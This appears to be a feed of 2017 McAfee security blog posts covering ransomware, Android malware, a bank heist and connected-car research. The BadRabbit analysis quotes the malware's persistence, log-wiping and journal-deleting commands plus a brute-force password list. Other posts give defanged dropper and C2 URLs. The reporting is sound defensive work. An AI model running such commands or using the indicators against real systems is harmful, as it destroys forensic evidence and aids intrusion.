Securing IoT, Not a Mission Impossible https://securingtomorrow.mcafee.com/business/securing-iot-not-a-mission-impossible/ https://securingtomorrow.mcafee.com/business/securing-iot-not-a-mission-impossible/#respond Wed, 22 Nov 2017 21:03:25 +0000 https://securingtomorrow.mcafee.com/?p=82717 At the McAfee MPOWER Cybersecurity Summit in Las Vegas on Oct. 18, I had the privilege of sharing the stage with Dr. Alissa Johnson, Xerox VP & Chief Information Security Officer (CISO) to discuss how those responsible for cybersecurity must consider threats to the IoT landscape as mission-critical components to their security strategy. I asked […]

The post Securing IoT, Not a Mission Impossible appeared first on McAfee Blogs.

]]>
At the McAfee MPOWER Cybersecurity Summit in Las Vegas on Oct. 18, I had the privilege of sharing the stage with Dr. Alissa Johnson, Xerox VP & Chief Information Security Officer (CISO) to discuss how those responsible for cybersecurity must consider threats to the IoT landscape as mission-critical components to their security strategy. I asked her to be a guest blogger and share her insight about security, partnerships and our tag line “Together is Power”. Below is her blog post.

As I attended MPOWER, I heard great themes –collaboration, partnerships, increasing baselines, open platforms, among many many more.  What we, as technologist, recognize is that we are facing big challenges and as we chip away at those challenges, more arise.  Cybersecurity has been aligned to many descriptors, but of all of those descriptors, cybersecurity is best described as a team sport. With 1.8 million security jobs going unfulfilled in 2017, our external partnerships are more important.   I was reminded that we must continue to build the team.  I’m not just talking about your internal team.  I am talking about partnerships inter-agency, across vendors, and across industries.

As a document technology company, we see ourselves in the Internet of Things (IoT) space.  Security is a large part of the IoT evolving story and in general –the evolving story of technology.  It is not a war, it is not a fight, nor is it a fairy tale.  It is actually an evolution.  This means that there is no end, no final battle, no waiting for the other side to raise the white flag.  So how do we maneuver in this journey?    We do this together.  “Together. Is. Power.”  And that is the McAfee slogan that talks to how important it is to band together to provide secure solutions.  We have found many that often look at print solutions as the “Star Wars” character in the corner that we interact with on as an “as needed” basis.  With the enhancements of the Xerox App Gallery, our ability for our solutions to integrate with the cloud, and it’s interoperability with network components, we are more.  This is why our external partnerships continue to be a critical theme in the Xerox security story.

Xerox print solutions are thus far the only IoT devices that automatically connect with McAfee’s ePolicy Orchestrator.  It’s proof that the approach is a solutions approach that focuses on security integration with our customer’s infrastructure.  The Xerox-McAfee approach to IoT security also includes McAfee’s whitelisting technology which constantly monitors and automatically protects against malware attacks.  Our partnerships continue to expand to help prevent bad things from happening, protect our devices and data associated, and detect malicious attempts.

As I think about my team analogy, the team is expanding as well as those companies ready to submit themselves for competition in the evolving draft.  The best part is that there is no fantasy league on this side.  No secret sauce to winning.  No one way to win.  Our playbook is strong and –As we “SET THE PAGE FREE”, we know that “Together.Is.Power!”

Learn more: IoT and security

Join us at the McAfee MPOWER Cybersecurity Summit in Amsterdam on November 28 through 29. Learn more about our industry-leading, comprehensive approach to IoT security solutions for devices and networks.

Read about how multifunction printers are a favorite beachhead for attacks on your IT infrastructure and what Xerox is doing about it.

Dr. Alissa Johnson
VP and Chief Information Security Officer, Xerox Corporation

Dr. Alissa Johnson is vice president and Chief Information Security Officer for Xerox Corporation, an $11 billion technology leader that innovates the way the world communicates, connects and works. In her role, she is responsible for establishing and maintaining a corporate-wide information risk management program to ensure that information assets are adequately protected. She leads the organization in identifying, evaluating and reporting on information security practices, controls and risks in a manner that meets compliance and regulatory requirements, and aligns with and supports the risk posture of the enterprise.

Prior to Xerox, Dr. Johnson served as the first Chief Information Security officer at Stryker Corporation, a multibillion-dollar medical technology company. In addition,

Dr. Johnson spent three years in the White House as the Deputy Chief Information Officer, beginning in March 2012, helping modernize the Executive Office of the President’s IT systems, using cloud services and virtualization, employing new cybersecurity strategies, and chairing boards across the office of the President to enhance technology.

Dr. Johnson holds a PhD in Information Technology Management from Capella University; a master’s degree in Telecommunications and Computer Networks from The George Washington University; and a bachelor’s degree in mathematics from Savannah State University.

The post Securing IoT, Not a Mission Impossible appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/securing-iot-not-a-mission-impossible/feed/ 0
Lazarus Cybercrime Group Moves to Mobile Platform https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-cybercrime-group-moves-to-mobile/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-cybercrime-group-moves-to-mobile/#respond Mon, 20 Nov 2017 12:02:16 +0000 https://securingtomorrow.mcafee.com/?p=82480 When it comes to describing cyberattacks, the word sophisticated is used a lot. Whether to explain yet another “advanced” campaign by a threat actor group hoping to steal information or disrupt computer systems, it seems the precursor to any analysis is to call it sophisticated. Yet the modus operandi for many of these groups is […]

The post Lazarus Cybercrime Group Moves to Mobile Platform appeared first on McAfee Blogs.

]]>
When it comes to describing cyberattacks, the word sophisticated is used a lot. Whether to explain yet another “advanced” campaign by a threat actor group hoping to steal information or disrupt computer systems, it seems the precursor to any analysis is to call it sophisticated. Yet the modus operandi for many of these groups is to begin an attack with a simple email, which for some time has been one of the most effective malware delivery mechanisms.

The McAfee Mobile Research team has identified a new threat—Android malware that poses as a legitimate app available from Google Play and targets South Korean users—that suggests a deviation from the traditional playbook. An analysis of campaign code, infrastructure, and tactics and procedures suggests the Lazarus group is responsible, as they evolve their attack tactics to now operate within the mobile platform. And although the debate regarding attribution of attacks will always rage, documenting evolving tactics by threat actor groups allows organizations and consumers to adapt their defenses accordingly.

Based on what we know, the app first appeared in the wild in March 2017. The distribution is very low and is aimed at a Korean Audience (based on telemetry hits).

Although we cannot be certain, persons associated with GodPeople, an organization based in Seoul with a history of supporting religious groups in North Korea and the developers of the original application, could be the intended targets. GodPeople is sympathetic to individuals from North Korea, helping to produce a movie about underground church groups in the North. Previous dealings with the Korean Information Security Agency on discoveries in the Korean peninsula have shown that religious groups are often the target of such activities in Korea.

Evolving Attack Tactics

Leveraging email as the entry vector allows attackers to be very specific about whom they wish to target, often described as the spear phishing. Developing a malicious application does not provide the same level of granularity. However, in this instance the attackers developed malware that poses as a legitimate APK, advertising itself as means for reading the Bible in Korean. Leveraging the mobile platform as the attack vector is potentially significant—particularly as South Korea has a significant mobile population that is “in a race to be first with 5G,” according to a Forbes article. Typically when a mobile platform is mentioned, we think about our mobile phones. However, in this case, we know South Korea has an increasing use of tablets, replacing traditional laptops. How well secured are tablets and how are they monitored?

Evolving attacks onto the mobile platform are likely to continue, and this appears to be the first example of the Lazarus group using mobile. Such a change, therefore, is significant, demonstrating that criminals are keeping up with platform popularity. Indeed, according to the International Telecommunication Union, the global number of mobile subscriptions worldwide now exceeds the global population, which suggests that such a tactic is only likely to increase as our dependency on mobile platforms grows.

Source: International Telecommunication Union.

Keeping Safe

Understanding the evolving tactics by nefarious actors is imperative. It is critical that we adopt simple security measures to counter these new tactics. This malware is detected as “Android/Backdoor” by McAfee Mobile Security. Always keep your mobile security application updated to the latest version. And never install applications from unverified sources.

The post Lazarus Cybercrime Group Moves to Mobile Platform appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-cybercrime-group-moves-to-mobile/feed/ 0
How GIBON Ransomware Created a Benchmark for Response Time https://securingtomorrow.mcafee.com/business/gibon-ransomware-created-benchmark-response-time/ https://securingtomorrow.mcafee.com/business/gibon-ransomware-created-benchmark-response-time/#respond Fri, 10 Nov 2017 21:40:23 +0000 https://securingtomorrow.mcafee.com/?p=82181 We all remember WannaCry and Petya. How could you forget them? Their rampant spread and malicious maneuvers are burned into memory. But there was one upside to the nasty ransomware campaigns – we learned from them. We adapted and we got agile. So when GIBON ransomware came into town, we were ready to rumble. Meet […]

The post How GIBON Ransomware Created a Benchmark for Response Time appeared first on McAfee Blogs.

]]>
We all remember WannaCry and Petya. How could you forget them? Their rampant spread and malicious maneuvers are burned into memory. But there was one upside to the nasty ransomware campaigns – we learned from them. We adapted and we got agile. So when GIBON ransomware came into town, we were ready to rumble.

Meet GIBON: a new ransomware strain currently for sale on dark web forums for $500 USD. (It gets its name due to a user string of “GIBON” when the malware connects to its command-and-control (C&C) server, as well as the ransomware’s administration panel where it calls itself “Encryption Machine GIBON.”)

It makes its way from forums to victims’ devices through phishing emails containing macros that download and execute the malware payload on a victim’s PC. Then, GIBON connects to the C&C server, passing along a base64 encoded string with a timestamp and registers the string in order to record the new victim. Following that, it generates an encryption key, and begins locking up any file it can find on a device only to return them for, of course, a fee paid in cryptocurrency. Once every file is encrypted, the strain reports back to the boss, letting the C&C server know it’s finished so it can timestamp the event and a record of the number of files encrypted. Simple enough.

GIBON, like many ransomware strains, proves that these attacks don’t have to be very complicated in order to be effective. However, that effectiveness has dwindled in recent attack campaigns. In fact, a decryptor is already available for GIBON — which represents a benchmark for our response time to these attacks.

Christiaan Beek, lead scientist and principal engineer at McAfee, says response time is only improving. “The cybersecurity world is indeed responding faster than before, especially after WannaCry, which was another wake-up call… The moment researchers see that a decryptor is available, we go on and continue to hunt down the next one or learn from the previous ones and start innovating or fine-tuning our products.” Beek continues, “Ransomware has sparked and forced the infosec industry to think and innovate about solutions more than other malware-related threats.”

Basically, the industry now more than ever is expediting how cybersecurity professionals adapt to threats and how quickly they apply learnings to the next go around. White hats are becoming faster in the race against cybercrime, and increasing their chances of eventually getting ahead of these threats.

That’s exactly why we created McAfee Ransomware Recover (Mr 2), a new ransomware decryption framework, which will allow for the rapid incorporation of decryption keys and custom decryption logic (when they become available) and gets help to victims of ransomware a lot quicker. That way, we can continue to combat these threats quickly and effectively, and put ourselves in the best position possible to win the fight against cybercrime.

To learn more about GIBON ransomware, and others like it, be sure to follow @McAfee and @McAfee_Labs on Twitter.

The post How GIBON Ransomware Created a Benchmark for Response Time appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/gibon-ransomware-created-benchmark-response-time/feed/ 0
‘BadRabbit’ Ransomware Burrows Into Russia, Ukraine https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/badrabbit-ransomware-burrows-russia-ukraine/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/badrabbit-ransomware-burrows-russia-ukraine/#comments Tue, 24 Oct 2017 22:31:49 +0000 https://securingtomorrow.mcafee.com/?p=81528 This post was researched and written by Christiaan Beek, Tim Hux, David Marcus, Charles McFarland, Douglas McKee, and Raj Samani. McAfee is currently investigating a ransomware campaign known as BadRabbit, which initially infected targets in Russia and the Ukraine. We are also investigating reports of infected systems in Germany, Turkey, and Bulgaria and will provide updates […]

The post ‘BadRabbit’ Ransomware Burrows Into Russia, Ukraine appeared first on McAfee Blogs.

]]>
This post was researched and written by Christiaan Beek, Tim Hux, David Marcus, Charles McFarland, Douglas McKee, and Raj Samani.

McAfee is currently investigating a ransomware campaign known as BadRabbit, which initially infected targets in Russia and the Ukraine. We are also investigating reports of infected systems in Germany, Turkey, and Bulgaria and will provide updates as more information becomes available. For McAfee product coverage, please see “How McAfee Products Can Protect Against BadRabbit Ransomware.”

When victims visit the following site, a dropper is downloaded:

hxxp://1dnscontrol[dot]com/flash_install.php

After infection, the victim sees the following screen:

The ransomware is currently charging 0.05 Bitcoin; however, there is no confirmation that paying the ransom will result in a decryption key being provided.

A decryption site at the following .onion (Tor) domain displays the time that victims have left before the price goes up:

caforssztxqzf2nm[dot]onion

Files with the following extensions are encrypted:

.3ds.7z.accdb.ai.asm.asp.aspx.avhd.back.bak.bmp.brw.c.cab.cc.cer.cfg.conf.cpp.crt.cs.ctl.cxx.dbf .der.dib.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.hpp.hxx.iso.java.jfif.jpe.jpeg.jpg.js.kdbx.key .mail.mdb.msg.nrg.odc.odf.odg.odi.odm.odp.ods.odt.ora.ost.ova.ovf.p12.p7b.p7c.pdf.pem.pfx .php.pmf.png.ppt.pptx.ps1.pst.pvi.py.pyc.pyw.qcow.qcow2.rar.rb.rtf.scm.sln.sql.tar.tib.tif.tiff .vb.vbox.vbs.vcb.vdi.vfd.vhd.vhdx.vmc.vmdk.vmsd.vmtm.vmx.vsdx.vsv.work.xls.xlsx.xml.xvd.zip.

The malware starts a command-line with following values:

Cmd /c schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR “C:\Windows\system32\cmd.exe /C Start \”\” \”C:\Windows\dispci.exe\” -id 1082924949 && exit”

“/TN rheagal” refers to a system account with the name rhaegal used to create the scheduled task and start the ransomware file dispci.exe. Rhaegal is likely a reference to a dragon from the popular TV show “Game of Thrones.” In fact, three dragon names—Rhaegal, Viserion, and Drogon—are used in relation to the following scheduled tasks:

The malware then uses the following commands to clear security logs and delete the update sequence number (USN) change journal, which is used to recover files, for example:

Cmd /c wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D C:

The USN change journal provides a persistent log of all changes made to files on the volume, according to the Microsoft Developer Network. As files, directories, and other NTFS objects are added, deleted, and modified, NTFS enters records into the USN change journal, one for each volume on the computer. Each record indicates the type of change and the object changed. New records are appended to the end of the stream.

We also found a DNS query to ACA807(x)ipt.aol[dot]com, in which the “##” is a two-digit hex number from 00-FF ACA807##.ipt.aol[dot]com.

We created a graph of the events occurring during an infection by one of the BadRabbit samples. The initial binary loads itself into memory and kills the initial process. Further processes drop configuration, services files, and other artifacts used in the attacks. The graph ends with the creation of the preceding scheduled tasks.

Embedded Credentials

One of the samples (579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648) seems to contain a list of default credentials with an attempt to brute-force credentials and get the scheduled tasks to execute the ransomware:

  • secret
  • 123321
  • zxc321
  • zxc123
  • qwerty123
  • qwerty
  • qwe321
  • qwe123
  • 111111
  • password
  • test123
  • admin123Test123
  • Admin123
  • user123
  • User123
  • guest123
  • Guest123
  • administrator123
  • Administrator123
  • 1234567890
  • 123456789
  • 12345678
  • 1234567
  • 123456
  • adminTest
  • administrator
  • netguest
  • superuser
  • nasadmin
  • nasuser
  • ftpadmin
  • ftpuser
  • backup
  • operator
  • other user
  • support
  • manager
  • rdpadmin
  • rdpuser
  • user-1
  • Administrator

Game of Thrones Fans?

It is common for attackers to use pop-culture references in their attacks. These attackers seem to have an interest in “Game of Thrones,” with at least three references to the series. Viserion, Rhaegal, and Drogon are names of scheduled tasks. GrayWorm, the name of a “Game of Thrones” commander, is the product name in the binary’s EXIF data.

Detection

There are currently three samples associated with this ransomware campaign, representing the dropper and the main executable. McAfee detects all three:

  • 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da
  • 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93
  • 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648

 

The post ‘BadRabbit’ Ransomware Burrows Into Russia, Ukraine appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/badrabbit-ransomware-burrows-russia-ukraine/feed/ 2
Taiwan Bank Heist and the Role of Pseudo Ransomware https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/taiwan-bank-heist-role-pseudo-ransomware/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/taiwan-bank-heist-role-pseudo-ransomware/#respond Thu, 12 Oct 2017 21:34:23 +0000 https://securingtomorrow.mcafee.com/?p=80061 Widespread reports claim the Far Eastern International Bank in Taiwan has become a victim of hacking. The attacks demonstrate the global nature of cybercrime, with the cybercriminals attempting to wire US$60 million to destinations such as Sri Lanka, Cambodia, and the United States.

The post Taiwan Bank Heist and the Role of Pseudo Ransomware appeared first on McAfee Blogs.

]]>
Widespread reports claim the Far Eastern International Bank in Taiwan has become a victim of hacking. The attacks demonstrate the global nature of cybercrime, with the cybercriminals attempting to wire US$60 million to destinations such as Sri Lanka, Cambodia, and the United States. Recent reports from Sri Lanka say that two individuals have been arrested for suspected money laundering after a tip-off from the Bank of Ceylon, which reported a suspicious transfer of $1.2 million from the Far Eastern International Bank.

On Saturday October 7, Far Eastern International Bank reported that it had recovered most of the money and that overall losses could reach $500,000.

How did the attack happen?

Based on the initial intelligence we have received, the first direct interaction with the victim began with spear phishing attacks that contained “backdoor” attachments.

Figures 1 and 2 provide some examples of the attachments.

Figure 1: Spear phishing attachment.

Figure 2: Spear phishing attachment.

When the victim clicks on the link, they are redirected to a malicious site that downloads additional files to the victim’s computer. One example of these malicious sites is hxxps://jobsbankbd.com/maliciousfilename.exe.

This site hosts another backdoor that gives the criminals access to the victim’s system in the bank.

Once the criminals gain access to the systems, our initial analysis reveals that the attackers harvested credentials. This was confirmed by evidence we found in a sample that contained the following credentials from the bank:

  • FEIB\SPUSER14
  • FEIB\scomadmin

These credentials are used to create a scheduled task on the system and monitor the running of endpoint security services. (This does not indicate a problem with the security software, only that the attackers did their research and took measures to take out the security software being run within the bank.) We have notified the security provider, and have provided all of our research to date.

Besides the scheduled task and credentials, we discovered another interesting piece of code. Inside the sample was the resource “IMAGE,” which seemed to be a zip file. Once extracted, we found the file aa.txt. Although this appeared to be a text file, it was really an executable.

The file contains code that scans for the installed languages, especially:

  • 419 (Russian)
  • 422 (Ukrainian)
  • 423 (Belarusian)

If these languages are detected, the file will not run. We have seen this behavior before in ransomware families.

When analyzing the strings of this particular file, we discovered some interesting ones:

  • HERMES 2.1 TEST BUILD, press ok
  • HERMES

When executed, the file proved to be ransomware. However, no note or wallpaper indicated that this was ransomware. After the file finished running, only one thing appeared on the desktop:

Figure 3: The final screen of this pseudo ransomware.

And in every directory a file:

The original Hermes ransomware note points toward this file; but in our case, we saw no note, nor demand for ransom. The Hermes ransomware family surfaced in February:

We suspect that this is another example of pseudo ransomware. Was the ransomware used to distract the real purpose of this attack? We strongly believe so.

Based on our sources, the ransomware attack started in the network when the unauthorized payments were being sent.

Where next?

Clearly this was a very carefully crafted attack, and specifically targeted at one bank. The attackers identified specific individuals to email, and understood the security measures being deployed. Although the samples we identified are now covered by our security products, we urge caution in anyone assuming that “I am protected.” The criminals took their time to understand how the bank works and developed the necessary code to enable them to steal millions. An effective security posture must anticipate such highly skilled attackers.

Because this is related an active law enforcement investigation, we are limiting what information we publicly share and will publish further updates only if that does not conflict with a current investigation.

The post Taiwan Bank Heist and the Role of Pseudo Ransomware appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/taiwan-bank-heist-role-pseudo-ransomware/feed/ 0
Ukrainian Financial Institutions Targeted by Wave of Malicious EPS File Attacks https://securingtomorrow.mcafee.com/business/ukrainian-financial-institutions-targeted-wave-malicious-eps-file-attacks/ https://securingtomorrow.mcafee.com/business/ukrainian-financial-institutions-targeted-wave-malicious-eps-file-attacks/#respond Thu, 24 Aug 2017 23:05:00 +0000 https://securingtomorrow.mcafee.com/?p=77213 Last week, the Ukrainian Central Bank issued a warning around an attack being launched against Ukrainian banks. Thanks to one of our contacts in the region, we received the malware at an early stage and were able to provide coverage for our customers—always our first priority. Now that local authorities have publicly disclosed the matter, […]

The post Ukrainian Financial Institutions Targeted by Wave of Malicious EPS File Attacks appeared first on McAfee Blogs.

]]>
Last week, the Ukrainian Central Bank issued a warning around an attack being launched against Ukrainian banks. Thanks to one of our contacts in the region, we received the malware at an early stage and were able to provide coverage for our customers—always our first priority. Now that local authorities have publicly disclosed the matter, we would like to share some insights into the campaign.

The attacks appear to have targeted banks in Russia as well as Ukraine, and we are aware of reports of similar attack vectors and payloads in other countries.

The initial threat started with emails sent to the banks around August 10, 2017, and a second wave on August 18 that carried attachments containing a payload. The subject of the emails were triggered to get the attention of the users and lure them into opening the attachments.

Who wouldn’t open an email with the subject “Unauthorized Money Withdrawal” from a non-banking related email-address? We noticed the following attachment names for the document files:

  • Выписка.docx
  • Выписка по счету.docx
  • Выписка по карте.docx
  • Выписка по карте клиента.docx
  • 12.docx

The above can be translated as “Account Statement” or ”Card statement/Customer Card Statement”.

The document is weaponized with a payload hidden in an embedded Encapsulated Postscript (EPS) file. EPS files are mostly used to display print previews or contain other functions related to printing.

When opening the .docx file, the following is shown:

In this case, again the name of the document is shown in Microsoft Word, ‘Customer Card Statement’.

When Word is opened, the payload in the .eps file starts to hook and inject itself, and creates the process “FLTLDR.exe”, which runs from the path: \PROGRAMFILES%\Microsoft Shared\GRPHFLT\EPSIMP32.FLT

Since docx files are zip-files, we unzipped the attachment and investigated the unzipped files for interesting artifacts and compared them against our internal threats database. For example, we discovered a URL in the App.xml file:

When investigating that URL through our resources, we discovered that that same URL was used in a targeted campaign described by our industry peers from ESET.

Actually, the targeted attack described by ESET has a lot more in common with our current banking campaign. Could our attackers have borrowed the code and altered it to their needs?

When we dug deeper into the details of the ‘image1.eps’ file, we noticed two awkward strings that you normally wouldn’t see in malware:

  • %%Icantdestroywhatisntthere
  • %%Myheartisjusttoodarktocare

After searching for these strings, they seem to belong to a song called ‘Snuff’ by Slipknot.

Ha, maybe our actors are metalheads or simply using it as a distraction.

When we ran the EPS file through our tools, it was flagged as CVE 2015-2545 and CVE 2017-0262, both constructs of malicious EPS files that could exploit the system opening this crafted file.

Once the malware has managed to infect a system, it tries to connect to a server based in France over TCP port 80:

hxxp://137.74.224.142/z/get.php?name=3c6*****

This IP-address seems to have a reputation for ‘badness’ in multiple campaigns, including those used for spam-distribution.

To prevent this attack from being successful, we recommend that Microsoft’s security patches be immediately installed on endpoints. These patches will address the following CVE-numbers:

  • CVE 2015-2545
  • CVE 2017-0261
  • CVE 2017-0262

McAfee customers using our endpoint solutions are protected from this threat by a signature called “Exploit-CVE2015-2545.l”

Hashes of files we received:

  • ecc055974d7d190871dc4eb1bf1f8b998d6e8abf04dba2ff560ae395aeec4d5d
  • 430c1bfa22e0f7b0e8742c0d70b8911089ba58645818e4281d7066d1324a3952
  • 1892154cc47e8a1bc81186d131e001a22e4edbc4fd88688eb1782b934e1941b6
  • e9d843761df7f6ef193d9f8e88d93a90816f2067fdd51a1c0765dfbfd4cb398f
  • 647572d133677882f52843f799375ac77178616bcd3d9ed13b95d49eecfd0a51

The post Ukrainian Financial Institutions Targeted by Wave of Malicious EPS File Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/ukrainian-financial-institutions-targeted-wave-malicious-eps-file-attacks/feed/ 0
DEFCON – Connected Car Security https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/defcon-connected-car-security/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/defcon-connected-car-security/#respond Wed, 02 Aug 2017 21:54:05 +0000 https://securingtomorrow.mcafee.com/?p=76677 Sometime in the distant past, that thing in your driveway was a car.  However, the “connected car is already the third-fastest growing technological device after phones and tablets.”  The days when a Haynes manual, a tool kit, and a free afternoon/week to work on the car are fast becoming a distant memory. Our connected cars […]

The post DEFCON – Connected Car Security appeared first on McAfee Blogs.

]]>
Sometime in the distant past, that thing in your driveway was a car.  However, the “connected car is already the third-fastest growing technological device after phones and tablets.”  The days when a Haynes manual, a tool kit, and a free afternoon/week to work on the car are fast becoming a distant memory.

Our connected cars today generate up to 4,000GB of data per 50Kb every second and using on-board cameras generates 20MB to 40MB per second. Not only do these devices generate significant data, but there are so many connectivity options with the cars we use each day. With the continuing introduction of more connected features to cars, and our dependency on connected cars only increasing, a key part of the focus within our Advanced Threats Research team has been to consider the possible attack vectors in automotive.

2016: the year of ransomware

It seems that every year is the year of ransomware!  In 2016, however, the reality of ransomware on IoT was demonstrated following research the team did in identifying a vulnerability within a popular In Vehicle Infotainment (IVI) system:  we were able to insert ransomware over the air.  In our demonstration the payload was not malicious, of course.  Well perhaps it was since a very popular 80s song would be played at full volume until the victim paid up!

This demonstrated that the nightmare scenario so often talked about in which you were unable to start your car without paying criminals is indeed something quite possible, but thankfully to date not witnessed in the wild.

DEFCON 2017

So with this year at DEFCON our ATR team, in particular Oleksandr Bazhaniuk, Jesse Michael, and  Mickey Shkatov work continued their focus into automotive.  The start into the research was not particularly auspicious however, with a trip to the wreckers yard in search for hardware that ended up with a car full of loot!

The dashboard was reconstructed in our US Lab.

After fixing some errors, the unit was ready. Since we already worked on an IVI, the on-board IVI looked interesting but after some research we determined it would be quite some work to get into that area. By researching the system’s diagnostic info, we might be successful in retrieving useful data from the navigation system, SRAM and Flash dumps. In one of the dumps, the team discovered a possibly interesting URL, which was referring to a domain owned by a car-manufacturer. After researching the WHOIS credentials of the domain, we discovered that nobody owned it any longer. The team quickly registered the domain and setup generic honeypot to capture any incoming connections of any sort that were sent to the domain.

To our surprise, we had several connection attempts registered with information about the geographic location of the cars, and if the car was currently set to navigate to a particular waypoint, we received the GPS coordinates of that waypoint as well as the name of the waypoint.

After responsibly disclosing this issue in February 2017 to the car manufacturer, a fix for the owners has since been released.

Telematics

We presented these findings during the DEFCON conference this year, and other findings about a Telematics Control Unit (TCU) used in multiple cars across at least four car manufacturers as far as we can confirm. What is a telematics unit? A telematics unit is used by the vehicle to have a connection to the outside world, be it the internet or a manufacturer specific intranet site.

These units are used as a conduit for the car to connect to the backend. This particular telematics unit was using 2G cellular connectivity technology. Investigating the circuit board for interesting components, the team researched the USB interaction by placing an USB sniffer as a ‘Man-in-the-middle’ to learn about the traffic interactions.  What data was being exchanged between the IVI and the modem potentially being shared with outgoing connections.

After more researching and testing, the team found locally exploitable classic buffer overflow vulnerabilities. More and more were discovered, including a known over the air telematics vulnerability discovered by Dr. Ralf-Philipp Weinmann (CVE-2010-3832) using a buffer overflow. After we used one of the local vulnerabilities to write an exploit and extract the baseband firmware of the telematics unit we started our work on reverse engineering the code to see if we could send arbitrary Controller Area Network (CAN bus) messages from the TCU.

We followed again our responsible disclose process and informed the involved parties, including US-CERT. After studying our submission of the findings, US CERT released an advisory on Thursday, the first day of DEFCON, allowing us the time to study it and reference it and any mitigations mentioned in it during our talk on Saturday.

Update

Since the initial notification to Nissan and BMW we have been advised that a free fix via a Technical Service Bulletin has been issued to their dealers, which is available now to all affected customers in U.S. and Canada.

Through the process of coordinating this disclosure via ICS-CERT, we additionally discovered that a small number of other vehicles were also affected by these issues.  We will update this blog as more data becomes available.

Stay up to date on this story and follow @McAfee and @McAfee_Business.

The post DEFCON – Connected Car Security appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/defcon-connected-car-security/feed/ 0
NoMoreRansom – One year on! https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/nomoreransom-one-year/ https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/nomoreransom-one-year/#respond Tue, 25 Jul 2017 14:20:05 +0000 https://securingtomorrow.mcafee.com/?p=76357 One year on. It is fair to say that the No More Ransom project not only exceeded our expectations, but simply blew these initial expectations out of the water. A collaboration between six partners (McAfee, EC3, Dutch Police, Kaspersky Lab, AWS and Barracuda) has now grown to include more than 100 partners across the public and private sector. We often hear people talk about Public-Private Partnerships, but here is a true example of that commitment in action.

The post NoMoreRansom – One year on! appeared first on McAfee Blogs.

]]>
One year on.  It is fair to say that the No More Ransom project not only exceeded our expectations, but simply blew these initial expectations out of the water.  A collaboration between six partners (McAfee, EC3, Dutch Police, Kaspersky Lab, AWS and Barracuda) has now grown to include more than 100 partners across the public and private sector.  We often hear people talk about Public-Private Partnerships, but here is a true example of that commitment in action.

Because of this commitment from all the partners, this initiative has resulted in the successful decryption of more than 28,000 computers.  Let us put that into context, for zero cost, victims of ransomware who do not have to be customers of any security provider can get their data back for nothing.  They don’t have to fill in a survey, enter their email address, provide their credit card details, in fact they don’t even have to worry about obfuscating their IP address.  For the first time, there is another option.  No longer are victims faced with the option of a) lose my data or b) pay criminals.

So thank you to all of our partners, thank you to those of you that tweeted, blogged about it.  This site has been successful, in fact so successful that we even have ransomware named after us.

Of course, the Queen of England gets a boat named after her, we get ransomware!  Well that’s okay, because it shows that as the tens of millions of dollars we have prevented going into the hands of criminals, they have taken notice.

We will not stop, in fact, we need more partners, more decryption tools, and more successes.   The message of #DontPay seems to be working (as we witnessed with WannaCry and nPetya), and we will continue in our efforts to hurt the bottom line of criminals.

 

The post NoMoreRansom – One year on! appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/nomoreransom-one-year/feed/ 0
An Analysis of the WannaCry Ransomware Outbreak https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/analysis-wannacry-ransomware-outbreak/ https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/analysis-wannacry-ransomware-outbreak/#comments Fri, 12 May 2017 22:07:01 +0000 https://securingtomorrow.mcafee.com/?p=73946 Charles McFarland was a coauthor of this blog. Over the course of Friday, May 12 we received multiple reports of organizations across multiple verticals being victim to a ransomware attack. By Friday afternoon, McAfee’s Global Threat Intelligence system was updated to identify all known WannaCry samples and the company had delivered DAT signature updates to […]

The post An Analysis of the WannaCry Ransomware Outbreak appeared first on McAfee Blogs.

]]>
Charles McFarland was a coauthor of this blog.

Over the course of Friday, May 12 we received multiple reports of organizations across multiple verticals being victim to a ransomware attack. By Friday afternoon, McAfee’s Global Threat Intelligence system was updated to identify all known WannaCry samples and the company had delivered DAT signature updates to all its customers. But the wave of attacks ranks as one of the most notable cyber events in history.

Once infected, the encrypted files contain the file extension .WNCRYT. Victims’ computers then proceed to display the following message with a demand for $300 to decrypt the files.

Observations

Exploit MS17-010:

The malware is using the MS17-010 exploit to distribute itself. This is a SMB vulnerability with remote code execution options. Details at https://technet.microsoft.com/en-us/library/security/ms17-010.aspx . Exploit code is available on multiple sites, including this example: https://github.com/RiskSense-Ops/MS17-010/blob/master/exploits/eternalblue/ms17_010_eternalblue.rb.

This exploit is also known as the Equation Group’s ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers a couple of weeks ago.

